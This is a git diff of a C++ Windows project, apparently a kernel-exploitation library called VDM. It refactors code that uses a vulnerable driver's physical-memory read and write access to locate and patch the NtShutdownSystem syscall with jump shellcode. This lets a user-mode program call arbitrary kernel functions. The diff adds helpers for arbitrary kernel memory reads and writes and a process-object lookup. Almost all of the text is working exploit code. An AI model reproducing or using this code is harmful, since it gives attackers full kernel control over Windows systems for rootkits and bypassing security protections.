diff --git a/VDM/VDM.vcxproj b/VDM/VDM.vcxproj
index 2e7c874..d516af0 100644
--- a/VDM/VDM.vcxproj
+++ b/VDM/VDM.vcxproj
@@ -167,7 +167,7 @@
-
+
diff --git a/VDM/VDM.vcxproj.filters b/VDM/VDM.vcxproj.filters
index 89b24b4..6a8f0ed 100644
--- a/VDM/VDM.vcxproj.filters
+++ b/VDM/VDM.vcxproj.filters
@@ -37,11 +37,11 @@
Header Files\util
-
- Header Files
-
Header Files\vdm
+
+ Header Files
+
\ No newline at end of file
diff --git a/VDM/main.cpp b/VDM/main.cpp
index 058e2be..4d36468 100644
--- a/VDM/main.cpp
+++ b/VDM/main.cpp
@@ -1,4 +1,4 @@
-#include "vdm_ctx/vdm_ctx.h"
+#include "vdm_ctx/vdm_ctx.hpp"
int __cdecl main(int argc, char** argv)
{
@@ -9,13 +9,27 @@ int __cdecl main(int argc, char** argv)
return -1;
}
- vdm::vdm_ctx vdm;
+ // read physical memory using the driver...
+ vdm::read_phys_t _read_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::read_phys(addr, buffer, size);
+ };
+
+ // write physical memory using the driver...
+ vdm::write_phys_t _write_phys =
+ [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::write_phys(addr, buffer, size);
+ };
+
+ vdm::vdm_ctx vdm(_read_phys, _write_phys);
const auto ntoskrnl_base =
reinterpret_cast(
- util::get_module_base("ntoskrnl.exe"));
+ util::get_kmodule_base("ntoskrnl.exe"));
const auto ntoskrnl_memcpy =
- util::get_kernel_export("ntoskrnl.exe", "memcpy");
+ util::get_kmodule_export("ntoskrnl.exe", "memcpy");
std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
diff --git a/VDM/util/nt.hpp b/VDM/util/nt.hpp
index 21c87d4..0534c04 100644
--- a/VDM/util/nt.hpp
+++ b/VDM/util/nt.hpp
@@ -26,4 +26,10 @@ typedef struct _RTL_PROCESS_MODULES
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
-typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
\ No newline at end of file
+typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
+
+using PEPROCESS = PVOID;
+using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(
+ HANDLE ProcessId,
+ PEPROCESS* Process
+);
\ No newline at end of file
diff --git a/VDM/util/util.hpp b/VDM/util/util.hpp
index c7f87d7..060a796 100644
--- a/VDM/util/util.hpp
+++ b/VDM/util/util.hpp
@@ -59,7 +59,7 @@ namespace util
return &nt_headers->FileHeader;
}
- __forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
+ __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
@@ -99,7 +99,7 @@ namespace util
return NULL;
}
- __forceinline auto get_kernel_export(const char* module_name, const char* export_name, bool rva = false) -> void*
+ __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
diff --git a/VDM/vdm_ctx/vdm_ctx.cpp b/VDM/vdm_ctx/vdm_ctx.cpp
index 59e3be7..6a47462 100644
--- a/VDM/vdm_ctx/vdm_ctx.cpp
+++ b/VDM/vdm_ctx/vdm_ctx.cpp
@@ -1,10 +1,13 @@
-#include "vdm_ctx.h"
+#include "vdm_ctx.hpp"
namespace vdm
{
- vdm_ctx::vdm_ctx()
+ vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
+ :
+ read_phys(read_func),
+ write_phys(write_func)
{
- // if we already found the syscall's physical page...
+ // already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
@@ -13,7 +16,7 @@ namespace vdm
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast(
- util::get_kernel_export(
+ util::get_kmodule_export(
"ntoskrnl.exe",
syscall_hook.first,
true
@@ -34,9 +37,19 @@ namespace vdm
search_thread.join();
}
+ void vdm_ctx::set_read(read_phys_t& read_func)
+ {
+ this->read_phys = read_func;
+ }
+
+ void vdm_ctx::set_write(write_phys_t& write_func)
+ {
+ this->write_phys = write_func;
+ }
+
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
- const auto page_data =
+ const auto page_data =
reinterpret_cast(
VirtualAlloc(
nullptr,
@@ -49,11 +62,8 @@ namespace vdm
if (vdm::syscall_address.load())
break;
- if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB))
- {
- std::printf("[+] failed to read phys...\n");
+ if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB))
continue;
- }
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
@@ -63,7 +73,6 @@ namespace vdm
reinterpret_cast(
address + page + nt_page_offset));
}
-
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
@@ -84,11 +93,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
- vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
- vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
+ read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+ write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast(proc)();
- vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+ write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
diff --git a/VDM/vdm_ctx/vdm_ctx.h b/VDM/vdm_ctx/vdm_ctx.h
deleted file mode 100644
index 6401048..0000000
--- a/VDM/vdm_ctx/vdm_ctx.h
+++ /dev/null
@@ -1,64 +0,0 @@
-#pragma once
-#include
-#include
-#include
-#include
-#include
-#include
-
-#include "../vdm/vdm.hpp"
-
-namespace vdm
-{
- // change this to whatever you want :^)
- constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
-
- inline std::atomic is_page_found = false;
- inline std::atomic syscall_address = nullptr;
-
- inline std::uint16_t nt_page_offset;
- inline std::uint32_t nt_rva;
- inline std::uint8_t* ntoskrnl;
-
- class vdm_ctx
- {
- public:
- vdm_ctx();
- template
- __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const
- {
- static const auto proc =
- GetProcAddress(
- LoadLibraryA(syscall_hook.second),
- syscall_hook.first
- );
-
- static std::mutex syscall_mutex;
- syscall_mutex.lock();
-
- // jmp [rip+0x0]
- std::uint8_t jmp_code[] =
- {
- 0xff, 0x25, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00
- };
-
- std::uint8_t orig_bytes[sizeof jmp_code];
- *reinterpret_cast(jmp_code + 6) = addr;
- vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
-
- // execute hook...
- vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
- auto result = reinterpret_cast(proc)(args ...);
- vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
-
- syscall_mutex.unlock();
- return result;
- }
- private:
- void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
- bool valid_syscall(void* syscall_addr) const;
- };
-}
\ No newline at end of file
diff --git a/VDM/vdm_ctx/vdm_ctx.hpp b/VDM/vdm_ctx/vdm_ctx.hpp
new file mode 100644
index 0000000..5117b99
--- /dev/null
+++ b/VDM/vdm_ctx/vdm_ctx.hpp
@@ -0,0 +1,112 @@
+#pragma once
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "../vdm/vdm.hpp"
+
+namespace vdm
+{
+ // change this to whatever you want :^)
+ constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
+
+ inline std::atomic is_page_found = false;
+ inline std::atomic syscall_address = nullptr;
+
+ inline std::uint16_t nt_page_offset;
+ inline std::uint32_t nt_rva;
+ inline std::uint8_t* ntoskrnl;
+
+ using read_phys_t = std::function;
+ using write_phys_t = std::function;
+
+ class vdm_ctx
+ {
+ public:
+ vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
+ void set_read(read_phys_t& read_func);
+ void set_write(write_phys_t& write_func);
+
+ template
+ __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const
+ {
+ static const auto proc =
+ GetProcAddress(
+ LoadLibraryA(syscall_hook.second),
+ syscall_hook.first
+ );
+
+ static std::mutex syscall_mutex;
+ syscall_mutex.lock();
+
+ // jmp [rip+0x0]
+ std::uint8_t jmp_code[] =
+ {
+ 0xff, 0x25, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00
+ };
+
+ std::uint8_t orig_bytes[sizeof jmp_code];
+ *reinterpret_cast(jmp_code + 6) = addr;
+ read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+
+ // execute hook...
+ write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
+ auto result = reinterpret_cast(proc)(args ...);
+ write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+
+ syscall_mutex.unlock();
+ return result;
+ }
+
+ template
+ __forceinline auto rkm(std::uintptr_t addr) -> T
+ {
+ static const auto ntoskrnl_memcpy =
+ util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+ T buffer;
+ this->syscall(
+ ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
+
+ return buffer;
+ }
+
+ template
+ __forceinline void wkm(std::uintptr_t addr, const T& value)
+ {
+ static const auto ntoskrnl_memcpy =
+ util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+ this->syscall(
+ ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
+ }
+
+ __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
+ {
+ static const auto ps_lookup_peproc =
+ util::get_kmodule_export(
+ "ntoskrnl.exe",
+ "PsLookupProcessByProcessId");
+
+ PEPROCESS peproc = nullptr;
+ this->syscall(
+ ps_lookup_peproc,
+ (HANDLE)pid,
+ &peproc
+ );
+ return peproc;
+ }
+ private:
+ void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
+ bool valid_syscall(void* syscall_addr) const;
+
+ read_phys_t read_phys;
+ write_phys_t write_phys;
+ };
+}
\ No newline at end of file